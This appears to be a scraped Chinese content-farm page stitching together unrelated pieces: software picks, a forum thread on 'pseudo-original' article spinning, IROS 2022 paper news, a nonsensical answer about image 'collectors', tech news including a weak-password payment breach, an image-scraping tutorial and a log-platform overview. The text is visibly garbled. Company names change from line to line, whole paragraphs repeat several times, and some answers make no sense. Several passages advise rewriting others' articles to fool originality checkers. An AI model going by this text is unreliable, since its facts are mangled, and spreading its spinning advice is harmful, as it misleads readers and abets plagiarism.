　　優(yōu)采云采集器 由前 Google 技術(shù)團隊打造?；谌斯ぶ悄芗夹g(shù)，只需輸入網(wǎng)址即可自動(dòng)識別采集的內容。
　　它可以智能識別數據。智能模式基于人工智能算法。只需輸入網(wǎng)址即可智能識別列表數據、表格數據和分頁(yè)按鈕。無(wú)需配置任何采集規則，一鍵式采集。自動(dòng)識別列表、表格、鏈接、圖片、價(jià)格等。
　　流程圖模式：只需要根據軟件提示點(diǎn)擊頁(yè)面，完全符合瀏覽網(wǎng)頁(yè)的思維方式。復雜的 采集 規則可以通過(guò)幾個(gè)簡(jiǎn)單的步驟生成。結合智能識別算法，任何網(wǎng)頁(yè)的數據都可以輕松采集。
　　可以模擬操作：輸入文本、點(diǎn)擊、移動(dòng)鼠標??、下拉框、滾動(dòng)頁(yè)面、等待加載、循環(huán)操作和判斷條件等。
　　謝謝大家的支持！
　　▍4.ScreenToGif
　　ScreenToGif是一款非常好用的錄屏、拍照、畫(huà)板和GIF編輯軟件，開(kāi)源免費，功能強大實(shí)用。
　　
　　ScreenToGif 整體操作非常流暢，界面也非常簡(jiǎn)潔，編輯功能也非常豐富。
　　▍5.羅蘭
　　Rolan 是一款輕量級的桌面快速啟動(dòng)工具，可以讓你快速啟動(dòng)各種軟件和命令。常用軟件和群組可以自定義管理，提高您的電腦操作效率和辦公效率。
　　Launchpad可以靈活設置屬性和組結構，自由存儲內容；launchpad支持兩級分組；快捷方式可以存儲在組中；指定文件夾內容實(shí)時(shí)顯示，無(wú)需手動(dòng)進(jìn)入文件夾；還有瀏覽器書(shū)簽、筆記、剪貼板歷史、快捷鍵綁定等等。
　　今天的分享到此結束。感謝您在這里看到它。如果你喜歡它，記得喜歡它，觀(guān)看它，并與你的朋友分享。
　　▍軟件獲取
　　##老規矩，文章點(diǎn)擊右下角“關(guān)注”，點(diǎn)擊底部“小光gào”，即可獲取資源。你在看，加上雞腿讓我更有動(dòng)力分享##
　　完美:偽原創(chuàng )的原創(chuàng )度要達到多少才會(huì )被認為是優(yōu)質(zhì)內容？
　　目前更新的文章在愛(ài)站處檢測到70%原創(chuàng )，但提交熊掌號的天級收錄一直被視為非質(zhì)量?jì)热?，不是收錄，不知道要滿(mǎn)足什么標準
　　好像原創(chuàng )越多越好，可以使用一些偽原創(chuàng )工具輔助，效率高很多。比如在5118偽原創(chuàng )工具中，鎖定主題，然后用它的智能素材插入幾篇文章，將不同的段落拼成一篇，使用5118 smart偽原創(chuàng )，然后修改潤色一個(gè)人，在 30 分鐘內完成一個(gè)高質(zhì)量的 文章 作品
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　　60%以上可以用，80%以上是優(yōu)質(zhì)
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　　70%以上，測試用的工具不一定準確
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　　這取決于網(wǎng)站的質(zhì)量。即使一個(gè)高權重的舊網(wǎng)站抄襲你，收錄 也會(huì )比你的網(wǎng)站快。
　　
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　　既然關(guān)注原創(chuàng )的程度，那么直接原創(chuàng )，或者用自己的話(huà)表達原文，就像寫(xiě)和讀一樣，這個(gè)基本可以算是原創(chuàng )。
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　　盡可能高，這不是一個(gè)好主意。
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　　這并不意味著(zhù) 偽原創(chuàng ) 的高水平意味著(zhù)高質(zhì)量的內容。這是兩種不同的東西。如果只是從 SEO 的角度來(lái)看，肯定是嘗試有更高程度的 偽原創(chuàng ) 更好。
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　　百分之七十
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　　為什么有些公司要求原創(chuàng )的度數為80%？我認為這更好
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　　其實(shí)原創(chuàng )的度雖然重要，但對用戶(hù)有用更重要，最重要的是堅持
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　　堅持優(yōu)化，文章內容很多，換頭換尾，然后把兩個(gè)文章內容合二為一文章原創(chuàng )度肯定會(huì )高
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　　關(guān)鍵詞替換，相似詞替換，開(kāi)頭和結尾自己寫(xiě)，段落洗牌，但這一切都沒(méi)用，高質(zhì)量的偽原創(chuàng )其實(shí)和原創(chuàng )差不多。
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　　60%以上，還有網(wǎng)站權重的問(wèn)題，讓文章可以排在前面
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　　超過(guò) 60%
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　　增加體重，踩比自己體重輕的人 查看全部

　　最新發(fā)布:IROS 2022收錄論文名單出爐 毫末智行兩篇激光雷達算法論文入選
　　自動(dòng)駕駛汽車(chē)如何利用時(shí)空信息更好地識別移動(dòng)物體，在沒(méi)有定位導航的情況下如何知道“我在哪里”？這是目前自動(dòng)駕駛正在攻克的技術(shù)難題?，F在，中國自動(dòng)駕駛人工智能公司貓眼智行提出了更好的解決方案。
　　6月30日，米魔智行的兩項最新研究成果成功入選機器人領(lǐng)域頂級學(xué)術(shù)會(huì )議IROS（IEEE/RSJ International Conference on Intelligent Robots and Systems International Conference on Intelligent Robots and Systems）2022，并將在近期發(fā)表在 IROS 2022 會(huì )議上。發(fā)表。
　　陌陌智行團隊最新提交的兩個(gè)研究成果是：《Efficient Spatial-Temporal Information Fusion for LiDAR-Based 3D Moving Object Segmentation》OverlapTransformer: An Efficient and Yaw-Angle-Invariant Transformer Network for LiDAR-Based Recognition”（” OverlapTransformer：一種基于 LiDAR 的高效、獨立于旋轉的位置識別網(wǎng)絡(luò )”）。
　　
　　兩篇論文從2000多篇投稿中脫穎而出，成功入選。結合激光雷達在自動(dòng)駕駛汽車(chē)中的應用，提出一種新的激光雷達運動(dòng)目標分割深度神經(jīng)網(wǎng)絡(luò )和一種新的基于激光雷達的位置識別算法，幫助自動(dòng)駕駛汽車(chē)有效利用時(shí)空信息，識別運動(dòng)目標，快速準確定位。本身，從而大大提高了激光雷達的感知能力。
　　隨著(zhù)近年來(lái)激光雷達在自動(dòng)駕駛領(lǐng)域應用的逐步深入探索，其強大的空間3D分辨率能力被普遍認為是自動(dòng)駕駛技術(shù)向高水平升級和商業(yè)落地過(guò)程中的重要能力。 . 但硬件采集的信息數據也需要通過(guò)算法進(jìn)行更快、更準確的分析，以幫助自動(dòng)駕駛汽車(chē)更好地利用它們，實(shí)現更安全的駕駛。陌陌知行的兩篇論文就是從這個(gè)角度切入的。
　　在《Efficient Spatial-Temporal Information Fusion for LiDAR-Based 3D Moving Object Segmentation》中指出，準確的運動(dòng)物體分割是自動(dòng)駕駛的重要任務(wù)，如何有效利用時(shí)空信息是3D LiDAR運動(dòng)物體的關(guān)鍵分割問(wèn)題。為此，陌陌提出了一種新的深度神經(jīng)網(wǎng)絡(luò )，利用激光雷達的時(shí)空信息和不同的表示模式來(lái)提高激光雷達MOS的性能。具體來(lái)說(shuō)，毛沫提出了一種新穎有效的基于激光雷達的在線(xiàn)運動(dòng)目標分割網(wǎng)絡(luò )，該網(wǎng)絡(luò )采用雙分支結構更好地融合時(shí)空信息，并引入了“從粗到細”的方法。一種減少對象邊界上的邊界模糊問(wèn)題的策略，在保持實(shí)時(shí)性能的同時(shí)，性能一舉超越了之前的網(wǎng)絡(luò )。目前，相關(guān)方法在 SemanticKITTI MOS 基準上實(shí)現了最先進(jìn)的激光雷達 MOS 性能。
　　在論文《OverlapTransformer: An Efficient and Yaw-Angle-Invariant Transformer Network for LiDAR-Based Place Recognition》中，郝默提出了一種新的位置識別方法，使用安裝在自動(dòng)駕駛汽車(chē)上的 3D LiDAR 生成的距離圖像進(jìn)行位置識別，該方法只能使用激光雷達在沒(méi)有任何其他信息的情況下檢測 SLAM 的閉環(huán)候選或直接給出位置識別的數據，并在很長(cháng)一段時(shí)間內很好地推廣到不同的環(huán)境而無(wú)需微調?？缈缍仁彝獯笠幠－h(huán)境（毫端數據集）中的長(cháng)期位置識別。OverlapTransformer 比大多數最先進(jìn)的方法運行得更快，并且在所有指標上都達到了 SOTA。
　　
　　IROS（IEEE/RSJ International Conference on Intelligent Robots and Systems，IEEE/RSJ International Conference on Intelligent Robots and Systems）是全球機器人與智能系統領(lǐng)域最著(zhù)名和影響力的頂級學(xué)術(shù)會(huì )議之一。IROS 2022，主題為“Embodied Artificial Intelligence for a Symbiotic Society”，將于 10 月 23 日至 27 日在日本京都舉行。
　　作為中國量產(chǎn)自動(dòng)駕駛的No.1，在過(guò)去的兩年半時(shí)間里，陌陌智行憑借強大的技術(shù)創(chuàng )新能力和快速的產(chǎn)品上市能力，獲得了行業(yè)內外的廣泛認可。MANA是陌陌打造的中國自動(dòng)駕駛領(lǐng)域首個(gè)數據智能系統，通過(guò)定義和使用數據智能，提升自動(dòng)駕駛產(chǎn)品的能力。截至2022年6月，MANA數據智能系統MANA的學(xué)習時(shí)間已超過(guò)24萬(wàn)小時(shí)，虛擬駕駛體驗相當于人類(lèi)駕駛員2萬(wàn)年的駕駛時(shí)間?；贛ANA強大的能力、規?；牧慨a(chǎn)能力和日益成熟的商業(yè)模式，貓貓建立了完整的數據閉環(huán)，
　　終極:如何利用文章采集器讓搜索引擎蜘蛛瘋狂收錄排名
　　如何使用文章采集器讓蜘蛛瘋狂收錄等級？每個(gè)搜索引擎都有自己的蜘蛛程序。蜘蛛程序通過(guò)網(wǎng)頁(yè)的鏈接地址搜索該網(wǎng)頁(yè)，直到爬取到這個(gè)網(wǎng)站的所有網(wǎng)頁(yè)，然后通過(guò)搜索引擎算法對網(wǎng)站進(jìn)行評價(jià)，得到評價(jià)。如果把互聯(lián)網(wǎng)比作蜘蛛網(wǎng)，那么蜘蛛程序對每張網(wǎng)站圖像的爬行活動(dòng)就稱(chēng)為蜘蛛爬行。
　　如何吸引蜘蛛爬取頁(yè)面
　　1.一個(gè)網(wǎng)站和頁(yè)面權重。算是質(zhì)量上乘，老的網(wǎng)站的權重比較高。這個(gè)網(wǎng)站的網(wǎng)絡(luò )爬取深度會(huì )比較高，也收錄很多。
　　2、網(wǎng)站的更新頻率。蜘蛛抓取的每個(gè)頁(yè)面的數據存儲。如果爬蟲(chóng)第二次發(fā)現第一個(gè)收錄完全相同的頁(yè)面，則該頁(yè)面不會(huì )更新，并且蜘蛛不需要經(jīng)常捕獲它。網(wǎng)站的頁(yè)面內容更新頻繁，蜘蛛會(huì )更頻繁地訪(fǎng)問(wèn)該頁(yè)面，頁(yè)面上會(huì )出現一個(gè)新的鏈接，這將更快地跟蹤和抓取蜘蛛。
　　3. 網(wǎng)站 的原創(chuàng ) 內容。百度蜘蛛的誘惑很大原創(chuàng )內容，原創(chuàng )內容的主食，搜索引擎蜘蛛每天都需要。
　　4、網(wǎng)站的整體結構。包括：頁(yè)面更新?tīng)顟B(tài)、標題、關(guān)鍵詞、標題、關(guān)鍵詞、meta中嵌入的描述標簽、導航欄等。
　　5.施工現場(chǎng)圖。網(wǎng)站地圖就像一個(gè)燈塔，唯一一個(gè)清晰的燈塔可以指引蜘蛛的下落。引誘更多蜘蛛的便捷方式。
　　6.內部鏈接優(yōu)化。蜘蛛來(lái)到你的網(wǎng)站，自然是通過(guò)你的網(wǎng)站的結構，通過(guò)你的網(wǎng)站，你幾乎可以運行任何網(wǎng)站鏈接，在這些鏈接中很容易導致死鏈接蜘蛛爬出來(lái)。更多的時(shí)候，百度自然會(huì )來(lái)你的網(wǎng)站沒(méi)有好感。
　　7. 外部 網(wǎng)站 鏈接。要成為蜘蛛爬蟲(chóng)，頁(yè)面必須有一個(gè)傳入鏈接，否則蜘蛛沒(méi)有機會(huì )知道該頁(yè)面的存在。
　　
　　8.監控蜘蛛爬行?？梢允褂镁W(wǎng)絡(luò )日志蜘蛛知道哪些頁(yè)面被爬取，可以使用SEO工具查看蜘蛛頻率，合理分配資源，實(shí)現更高的速度和更多的蜘蛛爬取。
　　提高網(wǎng)站的收錄的排名是通過(guò)網(wǎng)站優(yōu)化SEO，可以參考SEO的優(yōu)化方法。簡(jiǎn)單來(lái)說(shuō)，可以從以下幾個(gè)方面進(jìn)行改進(jìn)：
　　1、改進(jìn)網(wǎng)站結構的布局，使結構合理，層次分明；
　　2、保證網(wǎng)頁(yè)內容的原創(chuàng )性質(zhì)并定期更新；
　　3、增加網(wǎng)頁(yè)的反向鏈接，與網(wǎng)站做友情鏈接，在搜索引擎中排名更好；
　　4.優(yōu)化URL鏈接，可以在URL中適當添加一些關(guān)鍵詞，并使用中文拼音；
　　5. 永遠把用戶(hù)體驗放在第一位。
　　通過(guò)以上信息，我們了解了網(wǎng)站內容更新的重要性。網(wǎng)站 更新頻率越快，蜘蛛爬行的頻率就越高。數量會(huì )減少，減少網(wǎng)站的權重。由于個(gè)人精力有限原創(chuàng )，難以保證大量長(cháng)期更新。如果邀請編輯，投入產(chǎn)出比可能為負。但是只要方法得當，采集的效果并不比原創(chuàng )差多少，甚至比那些沒(méi)有掌握方法的原創(chuàng )好很多。
　　如何選擇好的文章采集器？
　　
　　1.直接訪(fǎng)問(wèn)大量關(guān)鍵詞，這些關(guān)鍵詞都是百度統計的網(wǎng)民需求詞（有百度索引），或者這些詞的長(cháng)尾詞，來(lái)自百度下拉框或相關(guān)搜索。
　　2、直接按關(guān)鍵詞采集智能解析要抓取的網(wǎng)頁(yè)正文，無(wú)需編寫(xiě)采集規則。
　　3. 截取的文字已經(jīng)用標準化的標簽進(jìn)行了清理，所有段落都以
　　4、標簽顯示出來(lái)，亂碼會(huì )被去除。
　　5.根據采集收到的內容，圖片必須與內容相關(guān)度很高。以這種方式替換 偽原創(chuàng ) 不會(huì )影響可讀性，但也允許 文章 比 原創(chuàng ) 提供的信息更豐富。
　　6、整合百度站長(cháng)平臺積極推送提速收錄。
　　7.可以直接使用關(guān)鍵詞及其相關(guān)詞作為標題，也可以抓取登陸頁(yè)面的標題
　　如果我們處理好文章采集的內容，采集站點(diǎn)也可以很快收錄。由于本文章采集器永久免費并得到廣大站長(cháng)朋友的支持，是SEO圈里的良心軟件，為眾多站長(cháng)朋友的收益帶來(lái)了實(shí)實(shí)在在的流量和經(jīng)濟效益. 查看全部

　　解決方案:采集器的自動(dòng)識別算法與碼率是否匹配，僅僅與質(zhì)量有關(guān)
　　采集器的自動(dòng)識別算法與碼率是否匹配，僅僅與質(zhì)量有關(guān)，并不是距離傳感器測量的距離有關(guān)。選擇高質(zhì)量的采集器，對圖像質(zhì)量有很高的要求。對于客戶(hù)群體，在節能減排大行其道的今天，絕大多數客戶(hù)，都是比較節能減排的。因此要考慮數據和模型產(chǎn)品，能否與節能減排直接掛鉤。采集器自動(dòng)識別匹配性能，對于節能減排，是極為重要的。
　　例如:采集一個(gè)外部高點(diǎn)，自動(dòng)識別出一個(gè)內部斜線(xiàn)。而判斷這個(gè)斜線(xiàn)是否在高點(diǎn)對應點(diǎn)。這是采集器自動(dòng)識別匹配質(zhì)量需要把握的一點(diǎn)。另外，采集器圖像質(zhì)量越高，自動(dòng)識別的精度越高。如果離散化過(guò)程中圖像比較大，采集到的圖像數據也不會(huì )太精確。對于離散化不佳的情況，考慮定位和縮放。如果不需要進(jìn)行自動(dòng)縮放，也需要考慮內容均勻性。
　　謝邀。
　　
　　1、我們已經(jīng)講了，采集器和圖像匹配過(guò)程是較為復雜的過(guò)程，在對如何準確分析圖像匹配不到位置進(jìn)行嘗試之前，應對采集器的結構進(jìn)行了解。
　　2、由于通常不同采集器之間存在著(zhù)圖像重疊區域，以及有可能每個(gè)采集器以不同的方式對不同的圖像進(jìn)行了采集，因此在進(jìn)行圖像匹配之前，圖像級別之間有很大的跨越特性，導致如何進(jìn)行準確匹配成為了問(wèn)題。我們的解決方案是：當要匹配的圖像，在同一種采集器中可以正確識別時(shí)，即可進(jìn)行檢測；如果該圖像被多種采集器檢測出不匹配，或者該圖像在不同種采集器中無(wú)法正確識別，則需要檢測不同種類(lèi)的采集器了。
　　3、在采集器識別過(guò)程中，原則上，距離應盡可能保持匹配的一致性。即便在圖像源可能存在不同類(lèi)型的采集器之間的匹配圖像，需要對不同種類(lèi)的采集器進(jìn)行匹配，我們仍然建議，將采集器中的圖像長(cháng)度保持匹配。
　　
　　4、建議在檢測匹配到位的情況下，采用某種單位圖像/像素形式進(jìn)行匹配：例如1像素內的同類(lèi)型圖像以相同的邊界方式進(jìn)行匹配，而1像素的不同類(lèi)型的圖像以相同的模式進(jìn)行匹配。
　　5、在確定上述方案后，可以在整個(gè)匹配過(guò)程中進(jìn)行采集器的圖像重復點(diǎn)擊，這樣匹配的邊界變化就會(huì )比較大。注意，重復點(diǎn)擊只能在同種圖像匹配到位以后才能進(jìn)行。
　　6、在原始的圖像級別中存在灰度值不匹配的現象，這樣會(huì )導致重復匹配失敗。這時(shí)需要進(jìn)行灰度校正后再進(jìn)行下一輪匹配，但由于這種方式的匹配過(guò)程可能會(huì )比較困難，我們并不建議經(jīng)常對灰度值不匹配進(jìn)行圖像匹配。
　　7、同時(shí)，也要注意采集到的原始圖像不要超過(guò)3格圖像長(cháng)度。 查看全部

　　即將發(fā)布:黑客利用公司后臺弱密碼轉走730萬(wàn)；全球首款 LCD 屏內多點(diǎn)指紋識別方案發(fā)布；
　　近日，深藍科技研發(fā)的“熊貓智能巴士”首次在上海的開(kāi)放道路上進(jìn)行測試。這是一款外形酷似大熊貓的純電動(dòng)新能源汽車(chē)。配備自動(dòng)售貨柜，支持“刷手”支付。這種支付方式采用手掌脈搏識別的生物識別技術(shù)，通過(guò)紅外光拍攝，內部活體特征采集皮下3mm，然后通過(guò)復雜的算法，匹配識別出體內唯一DNA的生物特征值。手掌，從而完成身份認證，與支付軟件自動(dòng)綁定，輕松支付。
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　　黑客利用公司后臺弱密碼轉移730萬(wàn)
　　近日，上海某公司自主研發(fā)的“支付系統”被黑，涉案金額超過(guò)730萬(wàn)元。警方調查后發(fā)現，共有3個(gè)國內外IP地址入侵“支付系統”。攻擊者破解了系統管理后臺的用戶(hù)名和密碼，下載客戶(hù)資料后，成功破解了“支付系統”的客戶(hù)端平臺，修改了用于支付驗證的手機號和支付密碼?？刂瀑Y金流轉權限后，他立即向公司7個(gè)銀行賬戶(hù)發(fā)出匯款指令，盜取資金。公司遭受巨額經(jīng)濟損失的根本原因在于其使用了世界上最弱的密碼之一“123456”，這是世界上最容易破解的。此外，該公司建立了自己的“支付系統”，以降低轉賬費用。未能在網(wǎng)站依法上線(xiàn)后30日內完成備案，并進(jìn)行了等級保護評估，導致管理后臺一直處于“裸奔”狀態(tài)。黑客的機會(huì )更多。
　　目前，上海警方根據銀行賬戶(hù)記錄和資金流向，14天內共抓獲來(lái)自全國各地的15名犯罪嫌疑人?？梢?jiàn)，很多人的密碼安全意識還是不強的。事實(shí)上，強密碼是保護網(wǎng)絡(luò )信息安全的最基本、最核心的手段之一。
　　
　　閑魚(yú)想翻身：還在用容易破解的弱密碼嗎？
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　　全球首款液晶屏多點(diǎn)指紋識別發(fā)布
　　昨天，天馬微電子宣布正式發(fā)布全球首款液晶屏多點(diǎn)指紋解決方案（TFP）。擁有自主知識產(chǎn)權，具有高集成度、全屏多點(diǎn)指紋識別、高屏占比等特點(diǎn)。. 屏幕采用光學(xué)指紋識別方式，將光路調制單元和指紋圖像采集器集成到顯示屏中，與外置準直光路相比，顯示屏厚度減少50%以上設計方案。它更薄更輕，屏占比也有所提升。同時(shí)，全面屏指紋多點(diǎn)識別方案還實(shí)現了觸控三功能的融合，首次顯示和指紋識別，可應用于全屏盲解鎖、App加密解鎖、自定義指紋控制等，這意味著(zhù)智能終端的人機交互體驗將更加多元化，組合可以實(shí)現應用鎖和全屏指紋識別。點(diǎn)擊圖標時(shí)可同步驗證指紋，一鍵解鎖有助于提高手機的安全性和隱私性。甚至可以在點(diǎn)擊支付的瞬間自動(dòng)完成指紋驗證，大大簡(jiǎn)化了操作。目前，天馬的技術(shù)已做好量產(chǎn)準備，正在向世界知名品牌終端送樣?？蓱糜谌撩そ怄i、App加密解鎖、自定義指紋控制等。這意味著(zhù)智能終端的人機交互體驗將更加多元化，應用鎖與全屏指紋識別的結合可以實(shí)現。點(diǎn)擊圖標時(shí)可同步驗證指紋，一鍵解鎖有助于提高手機的安全性和隱私性。甚至可以在點(diǎn)擊支付的瞬間自動(dòng)完成指紋驗證，大大簡(jiǎn)化了操作。目前，天馬的技術(shù)已做好量產(chǎn)準備，正在向世界知名品牌終端送樣?？蓱糜谌撩そ怄i、App加密解鎖、自定義指紋控制等。這意味著(zhù)智能終端的人機交互體驗將更加多元化，應用鎖與全屏指紋識別的結合可以實(shí)現。點(diǎn)擊圖標時(shí)可同步驗證指紋，一鍵解鎖有助于提高手機的安全性和隱私性。甚至可以在點(diǎn)擊支付的瞬間自動(dòng)完成指紋驗證，大大簡(jiǎn)化了操作。目前，天馬的技術(shù)已做好量產(chǎn)準備，正在向世界知名品牌終端送樣。這意味著(zhù)智能終端的人機交互體驗將更加多樣化，可以實(shí)現應用鎖和全屏指紋識別的結合。點(diǎn)擊圖標時(shí)可同步驗證指紋，一鍵解鎖有助于提高手機的安全性和隱私性。甚至可以在點(diǎn)擊支付的瞬間自動(dòng)完成指紋驗證，大大簡(jiǎn)化了操作。目前，天馬的技術(shù)已做好量產(chǎn)準備，正在向世界知名品牌終端送樣。這意味著(zhù)智能終端的人機交互體驗將更加多樣化，可以實(shí)現應用鎖和全屏指紋識別的結合。點(diǎn)擊圖標時(shí)可同步驗證指紋，一鍵解鎖有助于提高手機的安全性和隱私性。甚至可以在點(diǎn)擊支付的瞬間自動(dòng)完成指紋驗證，大大簡(jiǎn)化了操作。目前，天馬的技術(shù)已做好量產(chǎn)準備，正在向世界知名品牌終端送樣。指紋同步驗證，一鍵解鎖，提高手機安全性和隱私性。甚至可以在點(diǎn)擊支付的瞬間自動(dòng)完成指紋驗證，大大簡(jiǎn)化了操作。目前，天馬的技術(shù)已做好量產(chǎn)準備，正在向世界知名品牌終端送樣。指紋同步驗證，一鍵解鎖，提高手機安全性和隱私性。甚至可以在點(diǎn)擊支付的瞬間自動(dòng)完成指紋驗證，大大簡(jiǎn)化了操作。目前，天馬的技術(shù)已做好量產(chǎn)準備，正在向世界知名品牌終端送樣。
　　閑魚(yú)想翻身：觸控、顯示、指紋識別三合一有點(diǎn)厲害，會(huì )給交互體驗帶來(lái)很大的改變。
　　
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　　GitHub 的終極浪漫：開(kāi)源代碼永存
　　人類(lèi)文明的成就是最寶貴的財富。無(wú)論是為了未來(lái)的人類(lèi)了解過(guò)去的歷史，還是為了天啟后的重啟，都應該妥善保存并傳承給后代。為了保持開(kāi)源代碼的安全和長(cháng)期，GitHub 實(shí)施了一個(gè)浪漫的人類(lèi)計劃。7 月 8 日，GitHub 將支持當今社會(huì )運行的幾乎所有開(kāi)源代碼，包括 Net、ruby、apache、docker、php 等，以及幾乎所有的操作系??統、數據庫、金融區塊鏈、音視頻、前端和后端等。程序智能，存儲在 201 卷膠片中，包裝并運往斯瓦爾巴群島。斯瓦爾巴位于世界最北端，氣候極寒，終年冰凍。它是遠離世界紛爭、保存人類(lèi)文明的圣地。這些薄膜被放置在鋼制容器中，密封在一個(gè)極其干燥的廢棄煤礦中，溫度保持在-5°C，預計可以使用長(cháng)達一千年。同時(shí)，GitHub 也在研究使用石英玻璃作為存儲代碼的媒介。對電磁干擾、水和熱具有良好的適應性，可提供數萬(wàn)年的儲存壽命。目前，GitHub 已經(jīng)以這種形式存儲了全球 6000 個(gè)最受歡迎項目的代碼，以驗證其可行性。預計將持續長(cháng)達一千年。同時(shí)，GitHub 也在研究使用石英玻璃作為存儲代碼的媒介。對電磁干擾、水和熱具有良好的適應性，可提供數萬(wàn)年的儲存壽命。目前，GitHub 已經(jīng)以這種形式存儲了全球 6000 個(gè)最受歡迎項目的代碼，以驗證其可行性。預計將持續長(cháng)達一千年。同時(shí)，GitHub 也在研究使用石英玻璃作為存儲代碼的媒介。對電磁干擾、水和熱具有良好的適應性，可提供數萬(wàn)年的儲存壽命。目前，GitHub 已經(jīng)以這種形式存儲了全球 6000 個(gè)最受歡迎項目的代碼，以驗證其可行性。
　　閑魚(yú)想翻身：如果存儲的源代碼里有你的代碼，你會(huì )收到Github的勛章~有人收到了嗎？
　　教程:自動(dòng)批量圖片采集編輯導出本地文件夾
　　指定采集圖片教程，網(wǎng)頁(yè)圖片采集分為指定網(wǎng)頁(yè)圖片采集和關(guān)鍵詞圖片采集，我們都可以用圖片采集 軟件輕松采集圖像素材，工作流程為圖像采集、圖像處理和圖像導出。
　　1. 圖片采集
　　指定網(wǎng)頁(yè)圖片采集，輸入我們的目標網(wǎng)站的鏈接，點(diǎn)擊抓圖圖片鏈接，等待任務(wù)被抓取。如圖，將圖片鏈接導入圖片鏈接下載欄，完成指定的網(wǎng)站圖片采集。
　　關(guān)鍵詞圖片采集，在關(guān)鍵詞采集任務(wù)中，輸入我們的關(guān)鍵詞或者長(cháng)尾詞，點(diǎn)擊開(kāi)始任務(wù)，可以使用所有平臺關(guān)鍵詞文章采集，得到的文章都是搜索引擎下拉熱門(mén)文章，所以得到的圖文新穎、實(shí)時(shí)，流行，在任務(wù)預覽中點(diǎn)擊導出圖片，可以在本地文件夾中獲取大量圖片。
　　
　　2.圖像處理
　　在采集之后的圖片導出到本地文件夾或者發(fā)布給我們網(wǎng)站之前，我們可以對圖片進(jìn)行批量處理。通過(guò)設置圖片的px像素大小、大小、格式等來(lái)批量過(guò)濾我們需要的圖片，并且可以對圖片進(jìn)行旋轉、鏡像、加水印等操作。對于需要發(fā)布到網(wǎng)站的圖片，我們可以根據原文自動(dòng)提取tdk，給我們的圖片添加alt標簽。
　　3.圖像導出和圖文發(fā)布
　　圖片采集軟件支持導出多種格式到我們本地文件夾，或者發(fā)布到我們的網(wǎng)站自媒體平臺，支持導出本地gif/jpg/png/pdf/word/txt，等類(lèi)文檔格式，
　　
　　壓縮和重復的內容，如果我們?yōu)?網(wǎng)站 上的每個(gè)頁(yè)面創(chuàng )建唯一的源素材，則無(wú)需擔心重復的內容。但是，如果我們有很多具有相似內容的頁(yè)面，則可能會(huì )導致重大問(wèn)題。重復的內容可以出現在任何 網(wǎng)站 上，例如 cms 在不同的 URL 處生成同一頁(yè)面的多個(gè)版本。
　　還是同一個(gè)故事，內容圖薄。這是當頁(yè)面上沒(méi)有足夠的文本和圖像來(lái)提供價(jià)值或回答搜索者的問(wèn)題時(shí)。搜索引擎可能會(huì )將此視為我們的 網(wǎng)站 無(wú)關(guān)緊要并且不會(huì )將其排名更高的指示。
　　因此，重要的是要跟蹤所有薄頁(yè)和重復頁(yè)面并盡快將其刪除。為了確保我們 網(wǎng)站 的最佳 SEO 和有機增長(cháng)，我們必須確保 網(wǎng)站 上的內容既不單薄也不重復。
　　圖片采集和文章采集，數據采集一直在我們身邊。三者只是側重點(diǎn)不同。通過(guò)圖片采集軟件，我們還可以對文章數據進(jìn)行采集，圖文素材采集、數據篩選、抓取和分析都可以輕松完成。返回搜狐，查看更多 查看全部

　　整套解決方案:關(guān)于運維自動(dòng)化:智能運維時(shí)代如何做好日志全生命周期管理
　　云智能AIOps社區由云智能發(fā)起。針對運維業(yè)務(wù)場(chǎng)景，為智能運維業(yè)務(wù)場(chǎng)景提供算法、算力、數據集、解決方案交流社區的整體服務(wù)體系。社區致力于傳播AIOps技術(shù)，旨在與各行業(yè)的客戶(hù)、用戶(hù)、研究人員和開(kāi)發(fā)者一起，獨特解決智能運維行業(yè)的技術(shù)難題，推動(dòng)AIOps技術(shù)在企業(yè)中落地應用，構建弱者共贏(yíng)。贏(yíng)得 AIOps 開(kāi)發(fā)者生態(tài)系統。
　　本文將從平臺架構入手，具體講解云智慧如何快速高效地解決日志生命周期問(wèn)題。
　　智能日志平臺架構概述
　　云智能日志平臺架構的第二個(gè)特點(diǎn)是可以連接多個(gè)日志源的日志。此外，云智能采用分布式和可擴展的組件。當組織需要擴容、減少運維對象數量時(shí)，企業(yè)可以快速擴容，適應新的變化。日志采集部分被自研日志采集器使用，采集器可以連接日志、數據庫、消息隊列等。同時(shí)云智能提供能夠批量部署和管理采集器。在日志解決方案方面，云智能采用了Kafka消息隊列和Flink流解決方案組件，可以滿(mǎn)足海量數據采集需求，防止橫向擴展。
　　目前云智慧的日志采集都制作成標準化的采集模板，可以間接連接數據源，通過(guò)配置滿(mǎn)足日志訪(fǎng)問(wèn)。
　　日志數據采集 獲勝后，進(jìn)入數據處理階段。Cloud Wisdom 利用拖放式編排數據處理組件來(lái)標準化日志數據。例如，當有來(lái)自不同日志源、不同時(shí)間格式的日志時(shí)，運維人員可以通過(guò)“日期轉換”組件將固定格式的日期字段轉換為時(shí)間戳格式。在整體數據處理編排中，針對單步流程調試性能。
　　在存儲方面，如下所述，Cloud Intelligence 的底層存儲可以同時(shí)支持 Elasticsearch 和 Clickhouse 雙引擎存儲。通過(guò)對自身環(huán)境的性能測試，ES引擎的日志搜索性能提升了一倍以上。Clickhouse 不僅數據壓縮率高達 30%，而且在固定場(chǎng)分析中表現出數倍的性能劣勢。以上分析結果反映了Elasticsearch和Clickhouse在不同場(chǎng)景下的應用范圍，也讓云智慧的日志產(chǎn)品在不同場(chǎng)景下有最佳實(shí)踐。
　　下圖為云智慧在第三方接收平臺和航空信息企業(yè)的解決方案能力。從下圖可以看出，云智能日志平臺在3秒內可以支持超過(guò)3億條數據查詢(xún)。云智慧在某航空信息公司的采集中有10000多個(gè)日志節點(diǎn)，全部依賴(lài)云智慧的采集控制平臺進(jìn)行批量治理。在數據存儲能力方面，云智能在高壓縮比的情況下，依然可以控制在已經(jīng)很敵對的水平。
　　應用場(chǎng)景介紹
　　介紹完日志是如何從采集傳輸到存儲中的，我再分享一下云智能智能日志平臺的應用場(chǎng)景。
　　通過(guò)云智慧日志智能平臺成功管理不同、碎片化的日志后，運維人員可以在智能日志平臺中快速便捷地進(jìn)行全文檢索和查詢(xún)，查詢(xún)日志時(shí)無(wú)需登錄每臺機器. 平臺支持SPL語(yǔ)法查詢(xún)、聯(lián)想查詢(xún)、詞分析等功能，可提高整體查詢(xún)效率。
